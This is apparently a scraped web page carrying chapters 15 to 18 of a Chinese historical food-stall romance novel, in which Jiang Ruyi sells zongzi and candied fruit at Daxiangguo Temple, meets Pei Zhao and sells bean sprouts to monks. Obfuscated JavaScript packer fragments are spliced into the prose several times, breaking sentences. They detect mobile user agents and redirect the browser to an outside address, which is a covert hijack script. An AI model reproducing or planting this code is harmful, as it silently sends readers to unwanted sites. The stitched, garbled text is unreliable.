l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15186676|165323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人一边从身上掏出银钱，一边朝姜如意笑着说道：“姜小娘子不知道，我家里的娘子和孩子喜欢吃那水晶粽子，老人更喜欢吃豆沙馅的。” “某却更喜欢那蜜枣粽，没有枣核，吃起来又方便又香甜。” 姜如意点点头，顺着这客人的话说了下去。 “水晶粽子里加了酸酸甜甜的蜜煎，自然受小孩子们的喜欢。外表看起来玲珑剔透的，里面都透着胭红或浅绿色的馅，想来夫人们自是喜爱的。” “豆沙馅的粽子口感绵软，老人家牙口不好，吃这个最合适。” “至于郎君，想必也是爱吃甜的，所以觉得那用蜜渍过的枣子，格外的好吃。” 这客人听着姜如意的分析，连连点头回答是。 怪不得姜小娘子做的吃食格外合胃口。 听听这分析的，一点错也都没有，自己可不正是爱吃甜的吗？ 姜如意又送了两包梅子姜，说回去给家中孩子当零嘴。 那客人连连道谢，笑呵呵的转身离开。 后面的客人们见排到了自己，连忙掏出银钱递过来。 姜如意都一一收了，麻利的递过粽子。 等今日准备好的粽子礼盒卖光了，抬头看一眼天色，发现时间刚过中午。 今天的天气炎热，日头挂在天上，晒的地面火辣辣的烫人。 姜如意看一眼旁边热的够呛的阿芍，让她先去树底下歇会儿，自己不紧不慢的收拾东西，准备收摊。 一名僧人自大相国寺内走出来，看到寺外这插着布幌子的小摊子，犹豫了一下，朝这边走了过来。 姜如意见又有新客人来，停下收摊的动作，朝来人看过去。 当见到是大相国寺里的僧人，姜如意很是意外的问道：“请问禅师要买什么？” 那僧人的脸圆胖胖的，指指面前的布幌子，语气和善：“请问女施主这里，可是卖五香豆腐干？” 姜如意点了一下头：“是有五香豆腐干，皆是用豆腐做的，先蒸再卤，入口咸香劲道，禅师要买些吗？” 那胖僧人听着姜如意的形容，忍不住咽了一口口水，点点头。一出手，竟是买下了今日所有的五香豆腐干。 临走前，还不忘问道：“不知这五香豆腐干，能存放几日？” 姜如意思量着对方的身份，多半是寺内负责斋饭的僧人。 明日端午节，寺内买这五香豆腐干，十有八九是用来待客的。 她想了想说道：“放到明日是没问题的。” 那胖僧人多看了姜如意一眼，称赞道：“女施主好机敏。” 然后就用竹筐盛了五香豆腐干，转身回了大相国寺。 姜如意倒是没想到，今日除了粽子，还因着五香豆腐干额外赚了一笔。 她笑眯眯的收拾好摊子，朝阿芍指了指手里的银钱：“走，回去给你买好吃的。” 阿芍先是眼睛一亮，紧接着又摇摇头：“我不要好吃的，小娘子，咱们去果品铺子买些果子，回去做蜜煎吃吧。” 姜如意看着阿芍那嘴馋的模样，忍不住笑了起来。 她痛快的点头：“没问题。” 15. 端午节、小娘子 端午节这日，姜如意特意起了个大早，蒸了一锅粽子，端着去了慧慈师太的房间 慧慈师太吃着新鲜出炉的热粽子，脸上露出个慈祥的笑容来：“看姜小娘子的模样，这几日的粽子，想必卖的十分不错。” 姜如意弯起眼睛笑笑，也不瞒慧慈师太：“确实赚了不少银钱。” 慧慈师太闻言笑了起来，觉得姜小娘子这率真澄澈的性子，实在是让人喜欢。 等吃过了早饭，姜如意又给花二娘送去一份粽子，然后就带着阿芍去大相国寺外摆摊。 因着今日是端午节，一大清早来买粽子的客人依旧不少，摊子前面人头攒动，竟还吸引了不少游人驻足。 今日来买粽子礼盒的，又跟昨日送礼的不同，多半的是要买回去自己吃的。其中还有不少客人，因为前两日已经买过了一次，故对这粽子的味道都熟悉。 姜如意问清楚客人的口味，想着都是自家吃的，索性推出了随心组合的方式。 左右今日各种口味的粽子都准备颇多，客人或是更爱吃蜜枣的，或是更爱吃水晶的，或是喜欢三种口味都来些的。 姜如意都一一笑着应了，和阿芍一起给客人们装粽子。 周围的游人们好奇打听，当听说卖的是新奇的水晶粽子，再看看那一脸巧笑嫣然的小娘子，和众人手上拎着的精美的纸盒，当即加入了排队的行列。 姜如意倒是没料到，竟还额外吸引了一批客人，等惊讶过之后，又抿着嘴笑笑。 有了前两天的经验，姜如意和阿芍配合的十分默契，两人一手收银钱，一手递粽子，动作有条不紊，格外的利落。 除此之外，今日来买粽子礼盒的客人，也都得了一包新渍的蜜煎。 看着这摆摊的小娘子眉眼含笑，嘴上说一句客人端午安康，来买粽子的客人们皆心情甚好的回一个礼，乐呵呵的拎着东西离开。 等眼前这一波买粽子的客人散去，姜如意清点了一下粽子，发现果然还是水晶粽子最受欢迎。 阿芍却觉得理所应当：“那当然了。小娘子做的这水晶粽子，模样精致不说，味道还好，谁能不喜欢呢？” 她昨晚上睡觉前，还吃了两个红豆馅夹杏脯子的呢。 阿芍想着那味道，一脸回味的舔了舔嘴。 姜如意听着阿芍的论调，也觉得有道理，等她清点完粽子，又看看手边还剩了不少蜜煎。 这会儿烈日当空，游人们都陆陆续续进了大相国寺内。 总算是得了空闲，姜如意给自己和阿芍各倒了一杯紫苏饮子，又打开一包蜜煎，两人一边在树荫下吃着，一边盯着街对面出神。 …… 如今天气渐渐热了起来，天上时不时下几场雨，天气变换莫测，十分恼人。 这段时日以来，自己手里也攒了不少银钱。 所以姜如意打算，找机会租个铺面，白日里能遮阳挡雨不说，还能上些炒菜、汤饼、炖肉之类的新菜。 倘若有个自己的小铺面，在里面摆上三五张桌子，再按照自己的喜好，将室内精心装潢一番，每日卖各种菜品。 等到闲暇时候，就和阿芍一起吃着甜滋滋的蜜煎，看街上来往的行人，冬日赏雪、夏日观荷……那日子，想想就觉得惬意。 姜如意这样畅想着，自己先眯着眼笑了起来。 阿芍在一旁看看姜如意，虽然不知道小娘子在笑什么，但也跟着傻乎乎的笑。 正琢磨着，摊子前面又来了客人。姜如意连忙将思绪收回来，抬头朝面前几人看去。 这一看之下，发现竟还都是相熟的女郎。 走在最前面那位，一身湖蓝色衫裙，描着精致的细娟眉、丹凤眼，神态骄傲，可不正是先前唐锦口中的庄三娘？ 跟她并排的那小娘子，一身粉色衫裙，身上环佩首饰叮当，却是当初扭捏向自己打听裴少尹的丁五娘。 这两位贵女今日皆一副盛装打扮，同行还有几位略眼熟的小娘子，身边皆有婢女跟着。 依姜如意估摸着，都是来摊子上吃过三鲜小馄饨的。 姜如意看见了她们的同时，这一行人也都看见了姜如意。 她们自摊子前停下来，小娘子们一个个打扮的光彩照人，凑在一起盈盈袅袅的，当真赏心悦目。 看见姜如意，小娘子们面上皆露出个惊讶神态来，相互朝同伴看看。 还是庄三娘先开口：“可是卖三鲜馄饨的女摊主？” 丁五娘也认出了姜如意，似想起不久前打听裴少尹的事情，羞涩的朝她笑笑，头上的芙蓉步摇晃动。 姜如意亦礼貌的笑了笑，说道：“几位客人真巧，又见面了。” 那几名小娘子对视了一眼，没料到在这里能遇见姜如意，也都或含笑或客套的打招呼。 庄三娘看一眼前面的大相国寺，脸上露出一丝狐疑之色：“女摊主先前，不是在州桥夜市上摆摊吗？怎得如今来了大相国寺？” 面对这位说话有些不客气的女郎，姜如意也不跟她计较，只好脾气的伸手指指摊子。 “今日端午节，所以做了些粽子，来大相国寺外售卖。几位客人要买粽子吗？” 虽然嘴上这样说着，心里却忍不住腹诽。 好端端的，怎么还管上自己在哪摆摊了？ 姜如意瞧着盛装打扮的小娘子们，又瞧着庄三娘那似有若无的敌意，心中隐隐有些疑惑，面上却不显。 听姜如意这话说的平常，庄三娘也只狐疑的皱皱眉，到底低头去看摊子上摆的粽子礼盒。 因着天气炎热的缘故，所以姜如意方才，嘱咐阿芍将粽子都移到大树的阴凉下面，摊子上只摆了个空盒子，权且当作展示。 庄三娘看一眼那罗纹纸做的礼盒，虽然做工精致，但家中吃惯了大酒楼铺子里的粽子，实在看不上这小摊子卖的。等转眼看见一旁拆开的蜜煎时，倒是有些意动。 她指指那蜜煎问道：“这个如何卖？” 姜如意歉意的朝她笑笑：“却不是拿出来卖的，而是免费送给来买粽子的客人，权当做是赠品。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15194506|165323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听说这蜜煎不卖，庄三娘彻底失了兴趣，抬脚打算要走。 就听耳边传来一道轻笑声，唐锦正脚步轻快的走过来，在她身后，跟着肃着一张脸的唐飞，见姜如意朝这边看过来，唐飞朝她遥遥颔首。 姜如意见状，也笑着朝他点了一下头。 唐锦走到摊子前面，先笑眯眯的唤了一声：“姜小娘子。” 然后就转头去看庄三娘一行人，语调轻快的说道：“三娘和五娘，今日也来大相国寺吃斋饭呢？” 庄三娘一见到唐锦，脸色就不太好，微微扭过头去。 倒是丁五娘，一张芙蓉面上露出个笑容来，十分惊喜的点点头：“是啊，今日天气不错，庄姐姐约我们出来游玩，唐姐姐也是来用斋饭的吗？” 唐锦却摇摇头，脸上仍是那一副笑眯眯的模样：“今日却不是来吃饭，而是特意来观景的。” 庄三娘和丁五娘她们，似乎没听明白唐锦话里的意思，很是迷茫的朝周围环顾了一圈。 观景？这大相国寺的景色虽然不错，但是一年四季，景致皆是如此，有必要特意今日来看吗？ 见几人听不懂自己的话，唐锦只抿着嘴笑，也不打算解释。 等一行人离开了，她才走到姜如意身旁，伸着脖子朝大树下，那放粽子的筐子中瞧。 “姜小娘子在卖粽子？” 唐锦回想起上回吃的那三鲜小馄饨，下意识的吞了吞口水。这粽子是姜小娘子做的，应该十分好吃吧？ 姜如意看着她这嘴馋的模样，笑笑说道：“的确是粽子，有寻常甜口的，也有加了蜜煎酸酸甜甜的，若是喜欢，可以买一盒回去尝尝。” 唐锦连忙点点头，回头叫唐飞付钱，然后就挨着姜如意坐下。 等将粽子礼盒装好，交到唐飞手里。 姜如意扭头，见唐锦没有要走的意思，也倒了杯紫苏饮子递给她，又将那包蜜煎朝她前面推了推。 唐锦好奇的拿起一颗杏脯子放进嘴里，紧接着就惊喜的点头：“真好吃，唐飞，你也来一颗尝尝。” 唐飞手里拿着粽子礼盒，闻言微微俯下头，从唐锦手中接过一颗，然后朝姜如意道谢：“多谢姜小娘子。” 姜如意朝他笑笑：“郎君不必客气。” 又一指树荫底下：“那边有凳子，若是手里拿着礼盒不方便，可以随意坐坐。” 唐飞道了一声谢，走到大树底下坐了，后背依然挺的笔直，一双目光如炬。 姜如意朝唐锦感叹道：“你这位侍卫，当真是尽职尽责。” 唐锦得意的一笑：“那当然。” 然后又神神秘秘的朝姜如意挤挤眼，语气戏谑道：“你可知道庄三娘她们，今日为何一起来了大相国寺游玩？” 姜如意原本就觉得奇怪，此刻看着唐锦八卦的模样，突然间福至心灵。 她猜测道：“莫非，又是因为那位裴少尹？” 唐锦眼神一亮，朝姜如意伸出一根大拇指：“我就知道，姜小娘子格外的聪慧，跟我是同道中人。” 16. 真可惜，蜜煎匣子 姜如意十分惊讶的眨眨眼，没想到，竟还真是为着那位裴少尹来的。 一想到这几位小娘子们精心打扮，等着今日在大相国寺跟裴少尹邂逅，姜如意忍不住发出啧啧声。 再转念想到方才，唐锦嘴里说来“观景”，她又忍不住笑起来，轻推了一下唐锦。 “我还当是观什么景，没想到是……” 唐锦嘴里咬着杏脯子，听到姜如意的话，也低低笑了起来。 等笑够了之后，她又假装遗憾的摇摇头：“可惜，女郎们的一片芳心，恐怕要被辜负了。” 姜如意不解的扭头看向唐锦。 只见唐锦凑过来，压低了声音说道：“今日官家在皇宫中宴客，我大伯和裴少尹都奉召入宫了。这些小娘子们来大相国寺等着，可不是要扑个空吗？” 姜如意这下心里更意外了。 想着方才那些特意打扮过的女郎们，再想到她们等不到人，失望而归的模样，心里面不由得有些同情起来。 唐锦喝完了紫苏饮子，又吃了两个杏脯子，跟姜如意说了会儿话，然后才用帕子擦擦嘴，站起来叫上了唐飞，两个人一起离开。 等到了下午的时候，姜如意的小摊子又迎来一波客人。 等这波客人散去，姜如意见粽子卖的差不多了，却还剩了不少蜜煎，她索性把蜜煎都揽到了一起，装进个小匣子里。 阿芍好奇的看一眼大相国寺内，朝姜如意说道：“今日里面听着格外热闹，小娘子不进去逛逛吗？” 姜如意摆了摆手：“不去了，你若是喜欢就去瞧瞧，我在外面看着摊子。” 阿芍还是头一次见到这大场面，高高兴兴的应了一声，满脸期待的走进大相国寺里。 姜如意坐在大树荫凉里，怀里抱着那装蜜煎的匣子，一边赏景，一边不紧不慢的吃着零嘴。 一阵微风吹拂而过，周围垂下来的柳条晃动，姜如意十分惬意的眯起双眼。 …… 皇宫中，待饮宴临近结束，裴昭终于寻了个空档，走到外面透气。 今日是端午节，皇宫各处都悬挂了蒲叶、艾草，桃枝上还挂了祈福用的绸带，布置的十分精心。 只不过方才宴席间丝竹声不绝，又有宫人当席献舞，实在是嘈杂了些。 裴昭身上带了些许酒气，一双桃花眼因为醉酒而微微泛红，他伸手揉一揉发紧的太阳穴。 开封府尹恰好走出来，见裴昭站在外面，过来拍拍他的肩膀，开玩笑道：“今日好酒好曲儿，从谦这会儿不在殿中宴饮，怎得在此站着？” 裴昭看到这位平日办案严厉，私下里却待人极和气的上峰，恭敬行了一礼。 他语气里带上抹淡笑：“某实在不胜酒力，故想出来躲躲，怎料正好被唐公发现。” 开封府尹听着裴昭这略有些俏皮的话，忍不住笑了起来，朝他摆摆手。 “罢了，知道你不爱这些场合。今日端午，汴京城需要有人值守，你且去吧，稍后我向官家禀明即可。” 裴昭再次恭恭敬敬的行礼：“多谢府尹。”说完，转身离去。 车厢里，等马车缓缓的停下，裴昭方才自闭目养神中睁开双眼，掀帘走了出去。 马车外，跟着的侍从有些担忧的开口：“阿郎若是身体不适，不如先在马车里歇歇，某去通知王属官过来。” 裴昭朝他摆摆手，不甚在意的说道：“不必了，一点酒气而已，走走就散了。” 他下了马车，左手在侍从腕上搭一下，侍从连忙上前搀扶。见阿郎站稳了身形，侍从这才不近不远的跟在身后，生怕出什么岔子。 这会儿外面起了风，吹散了大半暑热。裴昭走了几步，又有凉风吹过，酒气散去了大半。 街上的游人不多，偶尔有经过的说话声传进耳朵，又飞快消失。 裴昭感觉紧绷了一中午的精神，稍微松缓了下来，他唇角弯起些弧度。 当走到一处摊子前，他似有所感般抬起头，就见面前一棵大树下，一名穿窄袖绿衣衫的女郎，正悠闲的坐在那里乘凉。 此刻，姜如意整个人都躲在大树的荫凉下，烈日炎炎，连她一根头发丝都晒不到，周围柳条晃动，十分的凉快。 她右手边放了一个小凳子，凳子上放着杯饮子，不时的拿起来喝一口。 这还不算完，她怀里还抱着个小巧的木匣子，这会儿正从里面拿出颗蜜煎来，不紧不慢的放进嘴里。 裴昭看着姜如意抱的那匣子，不由想起第一次见到她时，那用来夹饼的竹夹子，也是如此小巧又方便。 倒是不知道，她都是从哪里寻来的这些精巧物件儿。 这么想着，脚下不由自主的朝摊子前面走去。 姜如意见又来了客人，连忙将手里的紫苏饮子放下，从树底下的荫凉里走出来，被当空的烈日一晒，姜如意一脸痛苦的蹙起眉，不过还好有风，倒不算太热。 “客人要买些什么？咦，裴少尹？” 姜如意说话间，抬头朝面前来人看去，当看清楚面前的裴昭时，不由得惊讶出声。 想到就在不就之前，庄三娘她们一脸失望的从大相国寺离开，姜如意暗暗从心里替她们惋惜起来。 就差这么一会儿，可惜就错过了不是？ 姜如意一脸没吃上瓜的遗憾表情，当一抬头，就见裴昭正朝自己看过来。 他今日宴席上应该饮了不少酒，眼尾上染了若有似无的红晕，连带那双桃花眼中，也少了平日的锐利。这样看起来，倒当真是位翩翩郎君了。 不过这位郎君不知怎得，一双眼正注视向她怀里。 姜如意低头看看自己抱着的小匣子，轻咳一声，连忙把那放蜜煎的匣子往身后藏了藏。 今日这是怎么回事，怎得一个两个，都看上了她渍的这蜜煎？ 姜如意从心里腹诽一句，脸上露出个笑容问道：“今日有应节气的粽子礼盒，裴少尹要不要买一盒回去尝尝？” 裴昭本就喝了酒，再加上马车内闷热，有些口渴。故方才一见姜如意手中那颜色鲜亮诱人的蜜煎，视线便不自觉被吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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傍晚，当裴昭踏入院子，就看见裴拾正等在那里。 一见到裴昭回来，裴拾将手里的茶杯放下，高兴的朝他迎了上来：“阿兄，你回来了。” 裴昭看一眼已经泡的没了颜色的茶汤，伸手拍拍他：“怎得不去屋里等着？” 裴拾不在意的摆摆手：“反正在外面等也一样。咦，阿兄今日买了粽子回来？” 裴拾的视线落到那两盒粽子上，脸上露出个意外的表情。 往年，阿兄一个人从来不过端午节，所以每年阿娘都叫自己来，好陪着阿兄，生怕他一个人孤单。 裴拾仔细朝那粽子礼盒上看了看，见右下角还写着个小小的“姜”字，越看越觉得眼熟。 他好奇的问道：“阿兄这粽子礼盒，是从姜小娘子那里买来的？” 17. 竹箅子、凉拌豆芽 裴昭点点头：“嗯。” 想到方才那木匣子中的蜜煎，一个个看起来鲜亮饱满，吃起来果然格外的酸甜适口，他唇角弯起个弧度来。 裴拾见阿兄笑了，脸上的神色变得更加惊讶了。 阿兄今天心情似乎格外的好？ 裴昭将思绪收回来，把手里拎的粽子交给管事，吩咐他拿去厨房热了，又将另一盒递给仍在惊讶的裴拾，声音舒朗道：“这盒粽子给三叔带回去，祝三叔端午安康。” 裴拾还没从惊讶中缓过来，闻言只怔愣的点点头：“哦，也祝阿兄端午安康。” 直到离开裴府上了马车，裴拾才从浑浑噩噩中回过神来。他看一眼怀里抱着的粽子一盒，突然间一拍脑袋。 糟糕，他刚才光顾着惊讶，忘了告诉阿兄，自己在慈幼局碰见姜小娘子的事情了。 …… 与此同时，姜如意耳边，响起阿芍不知道第几遍叹气声：“小娘子怎么就将那匣子，送给来买粽子的客人了呢？” 姜如意听着阿芍的埋怨声，只好脾气的笑笑，同时自己心里面也在疑惑。 是啊，自己当时怎么就鬼使神差的，将那装蜜煎的匣子给了裴少尹？ 姜如意自厨房角落里的竹箅子上抬起脸来，眯起眼睛，回想当时的情景。 那位裴少尹虽是一个人来到摊子前，身后却远远的跟着侍卫，侍卫脸上带着些担忧，应是因着宫宴上饮了酒的缘故，他眼尾泛着点红。 见自己藏那蜜煎匣子的时候，一副似醉酒又似委屈的模样，和平日清冷的模样判若两人，她心一软就…… 姜如意扭头朝着阿芍说道：“毕竟是来买粽子的客人，那蜜煎送便送了，你若舍不得那小匣子，咱们改日再找工匠重新做一个就是。” 这话明着是安慰阿芍，其实也在说服自己。姜如意想起那做工精巧，模样颇符合自己审美的小匣子，甩了甩头。 罢了，左右不过花些银钱，再重新做一个就是了。 阿芍听姜如意这么说，也“哎”了一声，这才将匣子的事情丢到了脑后，然后就朝这边凑过来。 她指一指姜如意面前的竹箅子，好奇的问：“小娘子发的这豆芽，今日应该就能吃了吧？” 姜如意看着阿芍这期待的模样，估摸了一下时间，也点点头：“应该可以了，掀开看看。” 阿芍连忙答应一声，她搓搓手，将压在最上面的重物拿走，又把豆芽上盖着的湿布掀开，满脸期待的朝里面看去。 当见到箅子里盛的豆子，阿芍满是失望的啊了一声，朝姜如意看过来：“小娘子，这豆子怎么没有变化啊？” 姜如意笑了起来，伸手戳一下她的脑袋：“急什么，你再仔细看看。” 姜如意把手伸进那竹箅子里，抓起一把豆子往上提，豆子底下已经冒出了白胖的豆芽，刚才都在散在箅子的空隙里，这会儿提拎在半空中，每一根都水灵灵的，用指甲轻轻一掐就出水。 姜如意满意的点头，自己第一次尝试发出来的豆芽，竟然意外的不错。 阿芍惊喜的说道：“成功了。” 她也学着姜如意的动作，抓起一把豆芽捧在手里，越看越觉得稀罕。 这寻常的绿豆，怎么能发出豆芽来呢？ 还有，先前明明是绿的，怎么现在的豆瓣都变成了黄色的？ 姜如意听到阿芍的困惑，连忙给她解释：“正常就是这个样的，若是在发豆芽的过程里见了光，豆瓣变成绿色的，可就发苦不能吃了。” 姜如意说完，又低头看一眼这竹箅子，只是容量还有点小，况且这是专门蒸东西用的，底下的竹条编的太过密实。看来，还是要找工匠重新做两个大的。 阿芍盯着豆芽稀奇的看了半晌，然后才朝姜如意问道：“小娘子，这豆芽要怎么吃啊？” 姜如意看着阿芍嘴馋的模样，又看一眼外面暑热的天气，笑笑说道：“炒着吃或者凉拌都可以。今日就先凉拌吧，做法简单，吃起来也爽口，配着三鲜小馄饨吃正好。” 阿芍吸了一口口水，重重的点头：“就听小娘子的。” 没过多久，这清脆爽口的凉拌豆芽，就端上了桌。 如姜如意所说，凉拌豆芽的做法果然简单。 先将豆芽先下锅焯水，然后再浸凉水后控干水分。凉水都是煮沸再放凉的，这样吃着不会闹肚子。 将这豆芽放在大盆里，先用筷子打散，然后加上盐、糖、清酱汁和米醋，再泼上一勺烧热的花椒油，立刻用筷子拌匀。 这凉拌豆芽入口脆爽，上面沾着米醋和清酱汁，夹起一团来，嚼在嘴里脆生生的，米醋又清爽解腻，吃起来爽口又开胃。 配上热腾腾的三鲜小馄饨，这一盘凉拌豆芽，很快就见了底。 阿芍却还没吃过瘾，又掰了一块蒸饼，沾着那凉拌汁子，将盘子底都抹了个干净。 她这才摸了摸肚子，朝姜如意感叹道：“小娘子，我怎么觉得今日配上着这凉拌豆芽，胃口格外好呢？” 对于阿芍爱吃这凉拌豆芽，姜如意倒不意外。只不过，她低头看一眼被抹的干干净净的盘子，姜如意到底无奈的抬起头，决定带阿芍出去逛逛消食。 …… 下午的时候，姜如意就带上阿芍，顺路去了一趟工匠铺。 铺子里面摆着不少木箱子，角落中放着大大小小的竹筐，墙上还挂着笸箩，另外还有些锅铲、笼屉之类的，将一整个铺子摆的满满当当。 姜如意羡慕的看一眼这铺子，虽然面积不大，但麻雀虽小，五脏俱全，后面还带着住人的院子，当真方便。 这么想着，她就又想起自己打算租铺面的事情来。 那日去给花二娘送粽子的时候，自己曾托她帮忙打听过。 州桥附近的铺面几乎没有空余，酒楼倒是有挂出来买扑的，但价格十分高，动辄要三五十两银子，就算便宜些的也要二十两，地方却窄小。 总之看来看去，都没有合适的。 姜如意心里琢磨着，忍不住叹了口气。 思索间，就见从里面走出个人，一见到姜如意，那中年郎君乐呵呵的朝她打招呼：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221305|165323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜小娘子，今日来要买些什么东西？” 姜如意将思绪收回来，朝王工匠笑笑说道：“前些日子订做的那小匣子，今日想再做几个。另外，还要新订做两个竹箅子，劳烦就按照这图上的样式做。” 姜如意一边说着，一边将提前画好的图纸拿出来递过去。 王工匠将那张图纸打开看了看，紧接着有些惊讶的问：“底部要留这么大的孔隙，大小也比寻常箅子大了许多，姜小娘子是要用来蒸新吃食吗？” 难怪他有此一问，这模样的竹箅子，他以前从没见过，更别说做了。 不过这王工匠是馄饨摊的常客，除了三鲜馄饨之外，尤其爱吃姜如意卤的五香豆腐干，时常要卖些回来当宵夜吃，故跟姜如意相熟识。 姜如意听他问的干脆，笑着摇摇头：“是为了新吃食没错，却不是用来蒸东西的。” 一听说姜小娘子要做新吃食，王工匠的眼神就亮起来，十分痛快的应下：“姜小娘子放心，三日内必定能做好。” “有劳。” 姜如意笑眯眯的谢过，又要付定钱，王工匠摆摆手说不必，等东西做好了，姜小娘子再付钱也不迟。 姜如意见状也作罢，她带着阿芍不紧不慢的沿着街道逛逛，等胃里消化的差不多了，才慢悠悠回去，收拾东西去了州桥夜市。 …… 因着厨房里的豆芽还剩了许多，姜如意琢磨着不如带到夜市上，和五香豆腐干一样，分成小碟售卖。 凉拌豆芽需要现吃现拌，否则口感就不脆爽。 姜如意将豆芽全都装在一个扁筐子里，幸好有阿芍帮忙抬到板车上，两人推着车，倒也不算费力。 等到了州桥夜市，却见今日有几位僧人站在路边，似乎在朝摆摊的小贩询问着什么。 阿芍好奇的朝前方看看，问道：“小娘子你看，那边瞧着像是大相国寺的僧人。” 端午节那日，阿芍曾去了大相国寺里面，所以认出了这几名僧人。 姜如意闻言，朝那边看看，心里倒是一动。 两人一边说着话，一边将板车推到摊子前，把装豆芽的筐子抬下来。 为首的那名僧人见到姜如意，眼睛就是一亮，连忙快走了几步，来到摊子前：“可是那日摆摊卖五香豆腐干的女施主？” 姜如意也认出了眼前的僧人，正是那日负责斋饭，来买五香豆腐干的胖脸和尚。 她笑着点点头：“是，禅师今日也要买五香豆腐干吗？” 这僧人刚要点头，眼睛看见姜如意身后那一筐豆芽，连忙惊讶的走过去仔细看看。 等看清楚之后，他回头吃惊的问道：“女施主卖的这筐菜，莫非是药典上记载的豆芽？” 姜如意倒是意外了，看向这名僧人：“禅师也知道豆芽？” 僧人听说真是豆芽，表情明显有些激动，他点点头：“药典中曾记载过大黄豆卷，是以井华水浸黑大豆，候芽长五寸，干之即为黄卷。①” “寺中也有僧人试着做过，却总不成功。没想到，女施主这里竟有。” 18. 寻到铺面、酒酿芡实 僧人说着，又疑惑的低头看看：“只是女施主卖的这豆芽，似乎不是黑豆，个头儿也要小些。” 姜如意细细的解释：“这是绿豆芽，所以比黑豆的要小，适合清炒或者凉拌，做的时候加上些米醋和花椒，入锅时间不要太长，最是脆爽可口。” 眼前僧人听着姜如意的形容，忍不住咽了咽口水，胖脸上挤出个亲近的笑容：“请问女施主，这豆芽卖不卖？” 姜如意笑了起来。 怎么不卖？卖！ 听姜如意同意卖这豆芽，僧人立马激动了起来。他嘴里念了声佛号，赶紧让周围的几名僧人过来，直接买下了所有的五香豆腐干和豆芽。 僧人掏出银钱，向姜如意递过来：“多谢女施主，这是买豆芽的银钱，请女施主收下。” 姜如意接过那银钱，只看了一眼便惊讶的挑了挑眉，一旁的阿芍直接惊的瞪圆了眼睛。 这袋子里的银钱，竟然足足有十五两。 大相国寺受皇家尊崇，想来在银钱方面十分宽绰，何况如今发豆芽的方式还未普及，的确算是稀罕物。 姜如意只犹豫了片刻，便点点头收下。 一下子拿出这么多银钱来，自然不止是为了买眼前这些吃食。姜如意福至心灵，趁着僧人们搬筐子的时候，向这僧人细细说起发豆芽的窍门。 “发豆芽的时候，每日都要记得用凉水冲淋几遍，期间千万不要见光，不然豆瓣容易变色，味道也会发苦。” “豆芽上面要盖两层湿布，最好用重物压着，长出来的芽会更粗壮，口感也更好。” 姜如意想了想，又补充道：“我如今只发过绿豆芽，却没用黄豆和黑豆试过，不过想来应该是差不多的。贵寺若是想发另外两种豆芽，可以先用少量的豆子试试。” 僧人连连点头，口中称怪不得寺中多次尝试，都不成功，原来还有如此多的窍门。 姜如意听了之后，也认同的点点头，听僧人所描述的，那药典上记载的办法十分简略，若是第一次尝试，确实不得要领。 姜如意说到最后，又笑笑：“若是一次不成功也不打紧，这个时节的温度最是适宜，多尝试几次，定然能够掌握诀窍。” 这僧人临走前含笑看了姜如意一眼，口中再次称赞：“初次见到女施主时，便觉得女施主机敏伶俐，如今看来当真如此。” 姜如意收下这句夸赞，又弯弯眼睛：“那也多亏了禅师认得这豆芽，若是换了旁人，未必能像禅师这样，熟读诸多药典的。” 僧人听了姜如意的话，很是受用的笑了起来。觉得这位会做药典中吃食的女施主，当真是极有慧根。 等大相国寺的僧人们离去，围观的食客们才走了过来，好奇的向姜如意打听。 姜如意简单解释了两句，然后一指摊子上，十分抱歉的朝食客们说道：“今日只有三鲜小馄饨和薄脆胡饼卖，那五香豆腐干和凉拌豆芽，却是没有了。” 一听说大相国寺的僧人买走了所有的五香豆腐干，还买光了今日新上的凉拌豆芽，食客们不禁发出哀嚎声。 等哀嚎过之后，他们又赶紧买了碗三鲜小馄饨，并几个薄脆胡饼，化悲愤为饭量，一个个埋着头狼吞虎咽起来。 …… 这一日，姜如意才刚睡醒，就闻到满屋的花香。她连忙起床走过去看，发现果然是从花二娘那里买来的栀子开花了。 这栀子花莹白色一朵朵，在绿叶中错落盛开，模样同茉莉花有些相似，但是花却更大些，味道上也更香浓些。 姜如意凑近了闻闻，觉得栀子花的香气里，颇带了几分浓郁之气，不知道怎得，就被后人归类进了清新那一类，或许是因着花朵洁白似雪的缘故？ 姜如意看一眼这因着颜值覆盖过香气的栀子花，脑子里随意的想着，颇有点自得其乐。 自端午节之后，天气越发热起来，到了中午没风的时候，窗边更加闷热。 所以前两日空闲下来，姜如意将这盆栀子并另一盆兰草，都从窗户底下搬到了门口，一来通风更好，二来也不耽误晒太阳。 如今这盆栀子开花了，另一盆兰草也长大了许多。 两盆花摆在一起，一盆芳香满室，另一盆安静生长，颇像是端秀淑女和娇艳女郎的对比。 姜如意想着自己这形容，忍不住笑了起来。 